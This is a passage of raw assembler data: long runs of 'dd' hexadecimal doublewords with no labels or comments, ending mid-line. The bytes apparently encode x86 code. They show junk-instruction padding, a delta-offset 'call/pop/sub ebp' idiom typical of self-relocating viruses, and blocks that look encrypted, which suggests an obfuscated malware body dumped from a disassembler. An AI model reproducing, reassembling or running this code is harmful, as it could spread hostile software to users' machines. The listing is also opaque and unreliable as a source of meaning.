45CE2AFAh dd 61DFBF0Fh, 0BD03006Ah, 61520C1h, 26FDBD03h, 0B5FF0615h dd 618BF99h, 0A860BF66h, 1D4D95FFh, 9D890615h, 6150A8Dh dd 8ABF6696h, 820F5088h, 3, 96D98B66h, 599D8BFCh, 0FF061518h dd 18BF99B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 268152DEh, 0FEB16ABh, 2995FFE1h dd 6A061507h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 7E7CC355h, 65BD832Eh, 61500h dd 32840Fh, 0B70F0000h, 348950FBh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 427D973h, 5E973C2h dd 8A000000h, 3A37452Dh, 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 4FAF4EC3h dd 0F16577Dh, 68Ah, 719D8900h, 8B061503h, 151A059Dh, 3995FF06h dd 6A061504h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 6702C352h, 0EDD9098Ch, 0F780659Ch dd 99B5FFFCh, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 2FEBC353h, 0DAEF2475h dd 0BFC92E63h, 7BD52440h, 0DCD95FFh, 6A0615h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DA7DB8C3h dd 31F8FB8Bh, 1522F18Dh, 5DBD8306h, 2061528h, 45840Fh dd 0BD8B0000h, 61520C1h, 2849858Bh, 0BF0F0615h, 119589FFh dd 0C6061523h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 37651EC3h, 0FB46AC5Ah, 0BF0FE251h dd 61BD89D9h, 0C7061516h, 1523F585h, 6, 0DE900h, 0EF5C0000h dd 0FF6CFA22h, 0CDD826DCh, 0E948E619h, 0FFFFF465h, 8551BB66h dd 840FC18Bh, 6, 18C5B589h, 858D0615h, 615279Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 78C35646h, 2860F90h dd 52000000h, 6060505Bh, 8C0F6160h, 0 dd 89906161h, 150A319Dh, 81006A06h, 99FD07D3h, 0E9006A5Ah dd 6, 0F936D48Ah, 858D8250h, 6199257h, 17F19D01h, 0C0830615h dd 9E905h, 0C0B70000h, 44B7788Dh, 907FAB75h, 659B55BBh dd 52505016h, 753BF66h, 880F310Fh, 0Ch, 6E8h, 0B6684C00h dd 5FA6BA44h, 6A90585Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 79E7C355h, 0F0A31DC6h dd 8D0F8Ah, 66000000h, 0EFBD381h, 8166006Ah, 6A22D6CBh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 4D5B04AEh, 9AE2A9D9h, 0B589DE81h, 6152DD9h dd 26119589h, 95FF0615h, 6152679h, 6870Fh, 0BD8B0000h dd 6151565h, 9C158D8Dh, 9D8B0618h, 6151989h, 6AD1FFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0FE8BACC3h, 4E9BD8Bh, 0BD830615h, 6152DB5h, 0B3850F01h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0B5A5C356h, 0F94B028Bh, 6A026Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0D1F010C3h, 2004BDBBh, 85295B12h, 6152E99h, 503AB790h dd 7E8h, 0AD8A1000h, 0D9B563B7h, 0C00AAABBh, 6A905F70h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0AB77C353h, 60608671h, 2341858Bh, 860F0615h dd 0 dd 68B0F61h, 0F000000h, 8Eh, 95FF6100h, 6151D4Dh, 81665060h dd 5A03E4E6h, 31286DBEh, 0CDE96167h, 0E800000Dh, 0 dd 61ED815Dh, 80061992h, 0B5BBE0E3h, 0F93F70C1h, 88F9858Dh dd 6A0618h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 20E41EC3h, 15BD8B32h, 89061534h, 150D118Dh dd 4895006h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0F88B0F4Dh, 35FF64h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0E4EFC357h, 314F86E3h, 1503918Dh, 25896406h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6C35747h dd 3585FFB7h, 6A061515h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0E959C356h, 31B5AB1Bh dd 8D295C80h, 61518D9h, 0FE9FF6Ah, 4F000000h, 0EED9B8CEh dd 0F4673A6Dh, 402B2601h, 0BD2BE1AFh, 61500F1h, 10F1B5FFh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 8EA6DCC3h, 0FF57A119h, 1508BD95h, 0FCE906h dd 81660000h, 0B0131DC7h, 68C0F00h, 3000000h, 150A2DBDh dd 6670E606h, 0E4C6B8BFh, 613CFC71h, 0D8830Fh, 0FF50000h dd 6BAC8B6h, 1000000h, 151D01B5h, 89C18B06h, 15169D9Dh dd 4E8C106h, 6DBD8Bh, 0F7660615h, 1BD89E2h, 2B061524h dd 0FDBD8BC8h, 8B061510h, 28B0FD1h, 60000000h, 0F58D8961h dd 0E9061518h, 6, 1DE5BD89h, 858B0615h, 6152C69h, 899D8B56h dd 5B061500h, 8B07C083h, 1511219Dh, 0C08306h, 830FD03Bh dd 15h, 1A618D89h, 5FE90615h, 0F000000h, 486h, 0AABB6600h dd 798D8B22h, 8B061510h, 150AA9BDh, 1E18306h, 40840Fh dd 0A5830000h, 6151079h, 14E8FEh, 0DC9A0000h, 0A8084BB3h dd 1924AFDDh, 0A86539EFh, 3C4B1770h, 6E84C8Ch, 65000000h dd 80BCDE50h, 5FFE8A31h, 6995895Bh, 8B06152Ch, 15182DBDh dd 0E906h, 0B58D0000h, 6191657h, 165D9D89h, 6A0615h, 12E8h dd 0DF82C900h, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h, 0B75A2D11h dd 95FF5BFFh, 6152E21h, 0B9FEB70Fh, 836h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 71C35242h, 0EF273A2Dh dd 13E97907h, 6B000000h, 58164671h, 0AC76E9AAh, 71E17062h dd 3344F57Ch, 0BD01B8DDh, 6150CF5h, 0FCFCE183h, 0CE5BD89h dd 0E9FC0615h, 0Eh, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h dd 0B8E9D7h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0DCCDC355h, 0DB80D22Bh dd 0C233ADB9h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D60104FCh, 3BBBA7AFh, 6C99D8Bh, 6A0615h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 560746C3h dd 0E1852360h, 0E9061528h, 14h, 271EF01h, 0D749429h, 0B98AB433h dd 84FDE05Bh, 9914A692h, 880D61h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 69D12EC3h dd 8B3EDDB1h, 15272195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 427D973h, 0AD7873C2h dd 5F5B5751h, 4CD8D8Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8B509DC3h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 2F75BD33h, 0BD830615h dd 61518A9h, 6D840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 31C356h dd 9227070Dh, 0DED9D0Bh, 0B80615h, 89000000h, 151735B5h dd 9E8D8D06h, 8906154Fh, 150AB19Dh, 6AE1FF06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 625EC351h, 5F26FD7Ah, 0DF816614h, 0DF813506h, 6C4BA87Bh dd 1115BD83h, 0F000615h, 47B84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 43440580h dd 0A2D8BF64h, 0BD83304Bh, 6151115h, 64840F01h, 6A000004h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 4E42C350h, 0BD8B6A26h, 6151605h, 1115BD83h dd 0F030615h, 3FC86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0F5FE20Ch, 0F60FEBFh dd 68Ah, 0DD958900h, 66061526h, 6AD98Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0E2212CC3h dd 0E1801662h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 89064D36h, 150A5585h dd 0D59D8B06h, 0A061521h, 0F3840FC9h, 8B000000h, 15249D85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 74BEDD31h, 0BB67B3BFh, 4DA9524Ah, 19B58533h dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0E8ECEBC3h, 0FE95029h, 61000000h, 0A3BD6879h dd 61808C50h, 2C2638D7h, 48971A3h, 7E924h, 0F7800000h dd 0B9928945h, 0BF006A93h, 43E5DAB8h, 0D11E1768h, 38B0F80h dd 66000000h, 481DF8Bh, 4DE5E824h, 89AFB37Fh, 1521E1B5h dd 0AD95FF06h, 6A06150Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0C1ABC356h, 274D91E5h dd 0BF998589h, 6A0618h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 353256C3h, 0E9FB17E0h, 201h, 2D99BD03h dd 858B0615h, 618BF91h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 4AC35747h, 4AB20722h, 859BEB81h, 0C77902h dd 18h, 55BD8950h, 5F061527h, 2E15BD29h, 0B58B0615h, 618BF95h dd 792FBB60h, 0B2B966ECh, 613E2CAFh, 0C45858Bh, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0B70F3DC3h, 0D8BF66DAh, 6A06896Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 1265C350h dd 8D54D9AEh, 5AB86660h, 0A5958B07h, 6106152Fh, 249D858Bh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 6315DBC3h, 0F98589D3h, 66061501h, 4689DA8Bh dd 0BE666004h, 0E880E4D3h, 8B9661E1h, 525050FAh, 0BE85250h dd 73000000h, 0B5ACFF7Ch, 5231F78Ch, 0F5F72EAh, 830F31h dd 5A000000h, 0E8310F58h, 5, 6B6E0D71h, 5F616071h, 8996585Ah dd 1526658Dh, 91B5FF06h, 0E90618BFh, 13h, 841389A4h, 27751858h dd 70A1C890h, 98F42096h, 681F49C3h, 4F90E284h, 81D88B66h dd 0E17B2434h, 8D894F8Fh, 6151D0Dh, 0BF99858Dh, 6A0618h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5083B8C3h, 0C5B4F4ACh, 315241DAh, 1516B99Dh, 50905B06h dd 0F98B6652h, 8E8310Fh, 3000000h, 295B701Ch, 66F2E6B3h dd 5A5FD98Bh, 0FE85058h, 0F1000000h, 139675B1h, 5A11EAEBh dd 5F61B8C6h, 0BF57BFF9h, 3F2FCE56h, 80905B5Fh, 95FF7EC7h dd 6150DADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0E0C35747h, 0D75094D5h, 7E96061h, 10000000h, 1811D81Ah dd 0B58B1D04h, 61527FDh, 6A6161h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0D62456C3h, 0FD858954h dd 0C7061509h, 15111585h, 306h, 699D0300h, 83061518h, 18BF99BDh dd 840F0006h, 45h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 39C35242h, 0DC2C3934h, 38083BDDh dd 37E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0C3050CFh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0EEC35545h, 81DCD02Ah, 0CF81C188h, 4787CACCh dd 91DBD8Bh, 0BD830615h, 6151115h, 19850F03h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0FEE0C357h, 0D9FB8E78h, 0EF81665Fh, 9D297AEAh dd 6150A6Dh, 0BF99BD83h, 0F000618h, 3DF84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 60F0194Fh, 850F3269h, 8, 41B58B60h, 61061503h, 0BF99B5FFh dd 0BF0F0618h, 0E195FFF8h, 6A061510h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3EA7C357h dd 0C2E340CFh, 0E99531E8h, 8B061517h, 18BF8DB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 7E21B031h, 6240C8F9h, 8166753Ch, 0B7BFD8E7h, 106C779h dd 8B000100h, 150DEDBDh, 0EABF5006h, 891E95A8h, 6A2434h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A579D4C3h, 531BB3F1h, 5FD9BF0Fh, 0BF99B5FFh, 9D330618h dd 6150BF1h, 6A195FFh, 0B58B0615h, 618BF8Dh, 0BE9h, 1F11A900h dd 0F18D271h, 0A957F6B4h, 59858Bh, 0F600615h, 68Dh, 3DB58B00h dd 60061517h, 20C58509h, 858B0615h, 6151D11h, 86896161h dd 0C4h, 8840Fh, 8C0F0000h, 2, 958B8FB3h, 6152721h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 98C35040h, 0A156284Dh dd 0D55993B6h, 1858952h, 5B061515h, 6A04C283h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0A46FC351h, 7E76DB08h, 0D7EF3760h, 97CF80FCh, 80205089h dd 858D76EBh, 618D458h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 6DC35242h, 256A44E6h, 8689B8F2h, 0B8h dd 6AA8D380h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 36A2EAE2h, 0BEC6C8CFh, 85898E2Fh dd 6150965h, 0BF99B5FFh, 81660618h, 0FF2C7ECFh, 151D4D95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 77BD5489h, 50F8448Bh, 0EE9h, 0FEDB1000h dd 0CF0EC2C1h, 0F1153110h, 895D933Ah, 9D892434h, 61516C5h dd 0FE9h, 0B37AA000h, 1F750089h, 0D3B57DB5h, 0E1C0BB7Eh dd 0BF99B5FFh, 85890618h, 6152AEDh, 72995FFh, 0CE80615h dd 9B000000h, 0D5F50F3Fh, 0FEFF3E57h, 0E90CEB1Dh, 13h dd 0F0F627EBh, 1028E7C7h, 49278430h, 0CDABE4Bh, 5F5E8640h dd 6890Fh, 9D8B0000h, 61523DDh, 65BD83h, 0F000615h, 3684h dd 61F96000h, 98BB6650h, 243489F6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0D8C35747h, 2FCEBCACh, 2B1141Eh dd 0A19D8BE9h, 0FF061504h, 18BF99B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0BD9F56AEh, 0C2D31900h, 0FFF934F8h, 15043995h, 99B5FF06h dd 330618BFh, 1511599Dh, 0CD95FF06h, 6A06150Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0E24C351h, 60A427B9h, 26259D89h, 0B5030615h, 6151D25h dd 5DBD8361h, 2061528h, 63840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0FA6AD3C3h dd 65CD4CE4h, 0F1DE1E4h, 858BDAB7h, 6152849h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3EC35545h, 82CC99D1h dd 66BE3F04h, 0E58D3161h, 0C606150Ch, 0BF510000h, 6DDC103h dd 0F585C75Bh, 61523h, 0E9000000h, 0Ch, 0FDCA9BE4h, 4E731876h dd 4268E8E5h, 0FFF367E9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C9D66382h dd 0DE829E5h, 9000000h, 90B6CCEDh, 0F29EC761h, 27A3FA43h dd 28699D8Bh, 815B0615h, 0B9A2ECCFh, 8BC18B76h, 665651D8h dd 5B5BFE8Bh, 1BE9h, 0C81BD500h, 5Ch, 5 dup(0) dd 52AE9h, 0A4147200h, 6FDF62D1h, 0AC1C9986h, 66D65AC9h dd 0B222A08Fh, 0CCC7C4E3h, 817FE6Eh, 0D15E37A7h, 0BD720373h dd 9C27CE3Eh, 52CE13B2h, 0ECAD169Fh, 57C72450h, 80F0525Fh dd 0FC25A0BEh, 7F1086F2h, 82B1BCAEh, 8CA59101h, 6A77BF2Fh dd 0FA1FA607h, 811086F2h, 7979FB0h, 199A2DA0h, 5C82CCA9h dd 86F2A0E9h, 907A4B10h, 0ADB121A3h, 581EF5A8h, 412955BCh dd 0F7FFD32h, 25951A07h, 3CA312F1h, 0A5B9298Bh, 83C50CB7h dd 9FA81086h, 0F0E39844h, 2AC0EF24h, 0CB57D44Bh, 0CEBFF767h dd 0C30C55F0h, 0DEEF1086h, 1E3EC5F1h, 521086C3h, 9F9482F2h dd 906DA919h, 86B020A3h, 0E3CAC3h, 18319C1Dh, 97A84B95h dd 701Bh, 0C724EF00h, 0CA2A8757h, 0FF86B05Ah, 1086F2D8h dd 0A91C421Ch, 1086F260h, 577A490Bh, 161086F2h, 4A0D2A05h dd 1F95D998h, 903F7A10h, 0A84234B9h, 12BC97h, 0ECF20000h dd 86D63059h, 0E8B95210h, 3671BF60h, 69D1B98Ah, 6155C524h dd 0BD81F150h, 0F2FD249Fh, 0AF801086h, 0E06051BBh, 43AA4670h dd 56C62B9Ch, 54C42B88h, 0EE7D6D62h, 0C352C241h, 56C62475h dd 7EEE5360h, 74BD8138h, 2C8C87F7h, 0E5857ABCh, 0C2EF03AAh dd 0FA37D343h, 0F5101078h, 0A1397ABDh, 0BB38E78Eh, 0D7564B4Bh dd 5ED92F67h, 607FDA6Fh, 73E597A8h, 0C1000000h, 6056C624h dd 78BE597Eh, 11AF8A2Dh, 0CD3DB879h, 0DFCE55C9h, 9A298AE8h dd 10860477h, 340A25F6h, 4769B2Ah, 24F51086h, 7AF82746h dd 91170C0Ah, 1C93F521h, 124598B1h, 62AB97A9h, 7F000000h dd 6056C624h, 0BCE5607Eh, 3F1086F2h, 2D8F7C6Eh, 32FC79BDh dd 0F270992Ch, 2AFB1086h, 8C665940h, 6254C427h, 0F97CDA75h dd 6F409E65h, 0BC2C8E7Bh, 0C52453D9h, 0CB288955h, 0D2715B5Bh dd 1086F28Fh, 98725D6Eh, 0F2F7179Eh, 27F31086h, 0B2DBA2Eh dd 503ADDABh, 66D37669h, 0EE97A8FAh, 1, 3DC924CAh, 5D614EBEh dd 0F29DC47Fh, 5E601086h, 86F2A2E7h, 57784910h, 0B6879B3h dd 0F1989B9Bh, 3CAC09BEh, 43B31122h, 1ADECCA7h, 0D571D4EAh dd 68169BFCh, 0F1525F57h, 0F974BD81h, 9D92E189h, 0D68AE1Eh dd 1693F8C6h, 0EC2A9A18h, 160070F7h, 662A9A1Dh, 0B413D0FFh dd 1B18DA05h, 0D0412999h, 0E8720373h, 0BDF969CBh, 8AE92AC0h dd 0A4071C1Ah, 0A8092A34h, 6901FE38h, 0C131B6ABh, 0F060DCD5h dd 0E5D841C6h, 3BA20BFEh, 0D6BF2F8Ch, 0BD245ECBh, 159E69Dh dd 0ABC20000h, 0D903DB0Bh, 5B3F4AFCh, 0BCAE2C37h, 9B2F91E1h dd 1B1B2C16h, 6035A506h, 0F0A2D9FEh, 0BA842B49h, 70E063D0h dd 5ECE2D46h, 76E64B58h, 62D23340h, 8A35BC34h, 0D609B059h dd 532292F1h, 0BD3ADB5Eh, 82619Dh, 0AB350000h, 0DE00DE0Eh dd 86F22267h, 12F8C910h, 0B4C124Ch, 589DBE2h, 0DC05A083h dd 9F1086E2h, 0B8C1DC8Eh, 0E19086E2h, 820C23F4h, 370724AEh dd 86BA458Ch, 73172890h, 0C1447243h, 9086BA98h, 0AFE757D6h dd 0E6D040C2h, 0E7FCE34Ah, 876B52B9h, 8757C72Ah, 86BA95BCh dd 0A3475890h, 421C4CEDh, 86BA7E83h, 14969B10h, 0C1D2C6A4h dd 91342A34h, 1086BA48h, 1C886233h, 97h, 31A12112h, 0BA620805h dd 6EDE624Fh, 3262167Ch, 619992Ch, 1B24169Ch, 73F69193h dd 6BE83403h, 372C6A45h, 82B144B4h, 1EA59101h, 1693A0FCh dd 1DAA1584h, 5F472E9Eh, 0F44F6F9Fh, 10B5C6FBh, 9F6DA97Ah dd 78BE2E92h, 0C526E387h, 0F0538955h, 1CA806A9h, 6DA74354h dd 9EB01F86h, 0CA94AADAh, 6E83194h, 91931CA8h, 0A806EF32h dd 92BD8E1Ch, 66D2CDF8h, 64911A8Eh, 0A2BC9303h, 7508D6B5h dd 9B2A0380h, 2CED976h, 5F0B24F5h, 5C0D4A14h, 2953EF4Dh dd 0AB9C806Ah, 4003DB0Bh, 16A0924Fh, 13F93D0Eh, 3E2C9C1Eh dd 0F3066ECDh, 773BB2B6h, 0ACA9B59Ah, 0AE6539C0h, 0C6A54523h dd 546ADA59h, 296DDD5Fh, 0FD78B654h, 6D415A8Ch, 428538BFh dd 6FC451C1h, 899A9C0Ch, 847FB727h, 9E1DAA15h, 5BD8472Eh dd 0D0E1ABEBh, 1787E975h, 69012E1Fh, 839h, 0C1426F00h dd 2F81B951h, 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h dd 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h dd 3468783Ch, 89000008h, 0E2892414h, 4C281h, 0EA830000h dd 24148704h, 53A6685Ch, 3C890000h, 68C66824h, 14890000h dd 7CB85024h, 400C031Ch, 0F593548h, 0E8C1657Eh, 233B0508h dd 815005B0h, 7A792434h, 815F2A9Ah, 9A7A79F7h, 0F668582Ah dd 8900002Fh, 4832424h, 575A0424h, 0DE240481h, 8F4C6655h dd 0BD550842h, 4C6655DEh, 5D086A29h, 5624148Bh, 0C681E689h dd 4, 4C681h, 34870000h, 34FF5C24h, 0C4835F24h, 0D8E8E904h dd 82F9FFFBh, 93F0E22Fh, 3EA7BCD3h, 0B8E340CFh, 619A4DBh dd 0E0FFC503h, 32D07A66h, 3CCE9932h, 253EAA25h, 7CB142CAh dd 2D2290C7h, 7D64CFE1h, 1E59221Eh, 66118556h, 45EAF48Fh dd 15FA55D3h, 3A27AA78h, 6417AC0Dh, 4AA1AFEFh, 61FC0BADh dd 24D56A4Ah, 4426D601h, 75FF40DCh, 6DA14D00h, 18D6F7CEh dd 11F6C82Bh, 5FAEB268h, 1F5ADEAFh, 7A579F79h, 130FBABEh dd 56EF4BF8h, 41802100h, 279D858Dh, 6A0615h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 8B66D9C3h dd 18589DEh, 90061501h, 88FEBB66h, 0EE950h, 5E5C0000h dd 6B408742h, 8BAB01F3h, 0A4840F68h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0DF04A260h dd 1EB576F0h, 8D2915C2h, 61506F1h, 33B18D09h, 6A0615h dd 10619D8Bh, 6A0615h, 0C7DF8166h, 75858D47h, 0F90619A7h dd 8905C083h, 1510FD85h, 0BFB75006h, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 6BFFC351h, 5DEBCC90h, 26B18529h, 0B5890615h, 6152DE9h dd 8B66006Ah, 0F006ADAh, 95FFD9BFh, 6152679h, 0B8F0Fh dd 6E90000h, 41000000h, 322908D2h, 158D8DBEh, 6A06189Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 6047C353h, 1BDB589h, 8D8B0615h, 61517C9h dd 66D1FF61h, 6742CF81h, 2DB5BD83h, 0F010615h, 5F85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 26A401Ch, 346DBD8Bh, 0F88B0615h, 50FC8A90h, 6860F90h dd 29000000h, 151675BDh, 4D95FF06h, 6A06151Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0F383C351h, 5F569C19h, 0D01E9h, 0E800h, 815D0000h, 19A77FEDh dd 198D0F06h, 0E8000000h, 0Dh, 0FFB48686h, 85A9B54h, 79526621h dd 298D893Bh, 5B061517h, 6840Fh, 95290000h, 6152D61h, 88F9858Dh dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 9A04BFC3h, 1DDD8D89h, 11E90615h, 0BE000000h dd 37DCBEF5h, 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh, 89D98B50h dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0CA724CC3h, 0BC69122Eh, 219D8B15h, 64061503h dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0B2B0CCC3h, 0E3207BCDh dd 0ED8D89E2h, 8B061518h, 15269DBDh, 25896406h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1FC35646h dd 8AD88BC1h, 3585FFFEh, 6A061515h, 0BE9FFh, 7FB40000h dd 2F0C3787h, 687C2E4Ch, 0EDB5FFC6h, 6A061533h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 465EC353h, 0FF91EEB5h, 1508BD95h, 117E906h, 0B00000h dd 2C65BD8Bh, 70E60615h, 8D0Fh, 0BF0F0000h, 0E971E4DEh dd 14h, 806B0F15h, 716A58D6h, 4733C637h, 63FC1642h, 0E30EEEA8h dd 830F613Ch, 0E1h, 0CF781F8h, 0F0E79B3h, 840FC8B6h, 3 dd 0BA64DF80h, 6, 1DC99509h, 85290615h, 6150109h, 0B589C18Bh dd 6151DFDh, 3104E8C1h, 15280DBDh, 0E2F76606h, 13E9h, 68A15000h dd 7BCE50B5h, 0AE01AC6Bh, 54FA3A4Eh, 0D8513194h, 8531C82Bh dd 615037Dh, 6E9D18Bh, 6D000000h, 1FE24CC3h, 0E918h, 858B0000h dd 61519C1h, 83DA8B66h, 0B58907C0h, 61512ADh, 911BD8Bh dd 0C0830615h, 0C58D0900h, 3B06152Fh, 10830FD0h, 66000000h dd 3A05F381h, 44E9h, 0FDBD3300h, 8B061516h, 1511698Dh dd 159D8906h, 83061521h, 840F01E1h, 29h, 35207ABFh, 69A5836Bh dd 0FE061511h, 6840Fh, 9D890000h, 61524B1h, 19C19589h dd 0BD230615h, 61518FDh, 0E9h, 0C7B58D00h, 0E9061920h dd 7, 0F11B9F04h, 6AF63540h, 0FFDA8A00h, 152E2195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 5DD68F33h, 0B916FAECh, 7FCh, 6E9h, 11187400h, 83F3CED8h dd 9D8BFCE1h, 6152DB9h, 898589FCh, 2B06150Dh, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 90CAF4DAh, 0BB7804D5h, 14E29E2Ah, 61EBBB66h, 0CE9D22Bh dd 0F4000000h, 785F1A21h, 0CBABC179h, 0AD299CD1h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 2E45C353h, 0F8062CDBh dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 8BCF8F02h, 52AC06FCh, 95092557h dd 6150771h, 2961BD8Bh, 958B0615h, 6152721h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7BC35646h, 0C18D89AEh dd 8B06150Fh, 1504CD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 2E388FB5h, 0A851E150h dd 